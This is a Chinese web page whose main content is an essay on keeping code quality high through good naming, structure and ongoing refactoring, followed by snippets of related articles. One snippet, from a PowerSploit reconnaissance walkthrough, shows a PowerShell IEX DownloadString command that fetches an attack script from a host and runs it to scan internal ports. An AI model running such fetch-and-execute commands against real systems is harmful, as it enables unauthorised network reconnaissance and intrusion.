如何保证代码的高质量?

代码的高质量是软件的灵魂,代码  =  数据结构  + 算法,  而高质量的代码  =  优良的变量、函数命名  +  优良的代码结构、代码层次结构   +  数据结构  + 算法。


时时刻刻想这上面的四点,你的代码就会渐渐的上新台阶,老板不给你加工资还真的不行。


写程序不仅要考虑编译器能执行,更应考虑代码是否有良好的可读性。可读性不仅仅是为了方便别人看你的代码,就算是作者本人,在编写新功能的时候,其实也会反复看自己之前的代码。为了让开发速度快,而放弃让代码保持高品质,其实只会反而拖慢开发速度。编写当前功能的时候,这么做当然是会提高开发速度,但从全盘角度去看,当前的低品质代码,会成为将来新功能的绊脚石。所以,提高代码开发速度的办法是提高代码质量,花额外的时间重构美化自己的代码,其实并不“额外”,它是保障代码不会随着新功能不断增加,而慢慢腐坏最有效的方法。

    “光把代码写好可不够,必须时时保持代码整洁。我们都见过代码随时间流逝而腐坏。我们应当更积极地阻止腐坏的发生。每次代码签入时,代码都比签出时干净。”

    “我们都曾经瞟一眼自己亲手造成的混乱,决定弃之而不顾,走向新一天。我们都曾经看到自己的烂程序居然能运行,然后断言能运行的烂程序总比什么都没有强。我们都曾经说过有朝一日再回头清理。当然,在那些日子里,我们都没听过勒布朗法则:稍后等于永不。”

      所以我们要保证只写入高质量的代码,永不对自己说“回头再整理他们”。xp极限编程强调编码过程有一个环节是“重构”。

      我们都知道代码灵活的重要性,都知道糟糕代码会带来的维护恶果,在面对管理层的时间要求时,要求我们牺牲品质保证进度时,我们一定要坚持地说“不”!管理层不了解糟糕代码的隐患,会觉得重构代码是在浪费时间,但我们要坚持立场。就像病人对医生说“医生,你不要去洗手了,直接动手术吧,我没有时间”,医生不可能听病人的意见,不去洗手一样。医生明白不消毒的后果,不可能听病人的意见。同样,我们明白牺牲代码品质的危害,我们要坚守立场。

      如果背负时间的压力,我们不应该以“牺牲代码品质”来提高开发速度,牺牲代码品质事实上只会拖累了自己以后的开发速度,我们应该想办法“让自己做得更快”。什么办法?保持代码的高质量。这是做得快的唯一方法





本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/449589.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

centos6.5 安装 kong 网关

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 最近要求了解下kong网关,然后在网上一顿找,说实话,度娘的力量还是不行啊,找出来的那些跟…

lucene学习的小结

pom.xml设置 <dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.12</version><scope>test</scope></dependency><dependency><groupId>org.apache.lucene</groupId&…

并行计算的专访

摘要&#xff1a;社区之星第9期采访的嘉宾是香港浸会大学计算机在读博士、浪潮高性能计算顾问赵开勇。此次他为我们揭开了高性能计算的神秘面纱&#xff0c;为读者讲解自己的经验心得。并且他认为基于移动设备的高性能计算将会成为未来潮流&#xff0c;低功耗、高性能也将成为一…

CentOS6.5 搭建 LNMP (linux + nginx + mysql + php)

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 1&#xff1a;查看环境&#xff1a; 12[root10-4-14-168 html]# cat /etc/redhat-releaseCentOS release 6.5 (Final)2&#xff1a;关掉…

正睿2019省选附加赛 Day10 (这篇其实已经都咕咕了...)

目录 2019.3.13A.算算算(二项式定理 斯特林数)B.买买买C.树树树2019.3.13比赛链接 A.算算算(二项式定理 斯特林数) 题目链接 \(x^k\)可以用二项式定理展开&#xff0c;需要维护的就是\(0\sim k\)次方的\(\sum_{j}F(j,i)\)。加入一个数时&#xff0c;每一项都要再用一遍二项式定…

freemarker 从 spring boot execute jar可执行jar中访问模板文件

2019独角兽企业重金招聘Python工程师标准>>> private static Configuration freemarkerCfg null;static {freemarkerCfg new Configuration();//freemarker的模板目录try {String pathPrefix "/";// 为了支持能从execute jar 中获取模板文件URI uri C…

获取所有股票数据

#%%#先引入后面可能用到的包&#xff08;package&#xff09; import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns sns.set() %matplotlib inline #正常显示画图时出现的中文和负号 from pylab import mpl mpl.rcParams[font.…

POWERSPLOIT-Recon(信息侦察)脚本渗透实战

Recon(信息侦察)模块 a) 调用invoke-Portscan扫描内网主机的端口。 1&#xff09;通过IEX下载并调用invoke-portscan。 PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -Portscan.ps1&qu…

股票代码前面为0,补齐6位数

df[code] df[code].apply(lambda x:str(x).zfill(6))

在CentOS 6上搭建LNMP环境

简介LNMP是Linux、Nginx、MySQL和PHP的缩写&#xff0c;这个组合是最常见的WEB服务器的运行环境之一。本文将带领大家在CentOS 6操作系统上搭建一套LNMP环境。 本教程适用于CentOS 6.x版本。 在安装LNMP环境之前&#xff0c;您需要先对CentOS操作系统做一些初始化的工作&#x…

前端技术周刊 2019-01-21:跨端开发的三条路线

2019-01-21 前端快爆 微软 Edge 开发者意图为 Chrome 实现 HTML Modules&#xff0c;该规范用来替代之前的 HTML Imports。其优点是基于 ES Modules&#xff0c;可以避免全局对象污染、脚本解析阻塞等问题。?点评&#xff1a;举报&#xff0c;有人在「秀恩爱」&#xff01; &l…

分配内存的方法,需要32位对齐

type 是char&#xff0c;short&#xff0c;int 。 #define DATA_ALIGN 1 #if DATA_ALIGN && WIN32 && (_MSC_VER > 1300) #define my_malloc(type,len) _aligned_malloc(sizeof(type) *(len), 32) #define my_free(ptr) _aligned_free(ptr) #e…

zabbix-02-CentOS7.4安装zabbix4.0

一、环境准备 1.1 主机规划 这里先对本次实验的机器做一个规划&#xff0c;之后的实验均通过这两台机器完成。 序号IP地址主机名CPU内存硬盘安装服务110.0.0.11zabbix-server1C2G20GBzabbix服务端210.0.0.12zabbix-agent1C1G20GBzabbix客户端1.2 操作系统选择 操作系统选择&…

再谈并发

再谈并发 上一篇python并发中讲到了&#xff0c;使用多进程&#xff0c;多线程&#xff0c;多任务来加快程序的运行。其中讲到的一点似乎有点问题&#xff0c;操作系统中线程是调度器的最小执行单位&#xff0c;那为何python中的多线程无法利用多核&#xff0c;只能在一个处理器…

centos6.8安装docker,kong-dashboard并实现页面访问

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到教程。 我们通过kong-dashboard的admin-UI管理界面进行直观的查看。最终显示界面如图&#xff1a; 因为这个kong-dashboard要用到docker&#x…

leetcood学习笔记-204-计算质数

题目描述&#xff1a; 第一次提交;(超时)&#xff1a; class Solution:def countPrimes(self, n: int) -> int:count 0for i in range(2,n):for j in range(2,i1):if i%j 0 and j!i:breakif ji:count1return count 别人家的&#xff1a; 这题搜到一个非常牛逼的算法,叫做厄…

linux man

nameman - 即 manual &#xff0c;在线查看命令手册。 描述man 是一个系统手册&#xff0c;man 的每一个选项通常是命令名&#xff0c;查找显示选项中的每个相关联的手册页&#xff0c;默认操作按照指顺序&#xff0c;按屏打印显示。 下表显示手册章节号&#xff0c;以及它们包…

centos-install-kong-cassandra

转自&#xff1a;http://blog.54im.com/2016/12/15/centos-install-kong-cassandra/#前置阅读 对于一些传统的大型项目&#xff0c;传统的方式会有一些缺陷&#xff0c;比如说新人熟悉系统成本高&#xff08;因为整个系统作为一个整体&#xff0c;彼此会有一定的牵连&#xff0…

akshare做mfi策略

#!/usr/bin/env python # coding: utf-8#先引入后面可能用到的包&#xff08;package&#xff09; import pandas as pd import numpy as np import matplotlib.pyplot as plt#正常显示画图时出现的中文和负号 from pylab import mpl mpl.rcParams[font.sans-serif][SimHei] …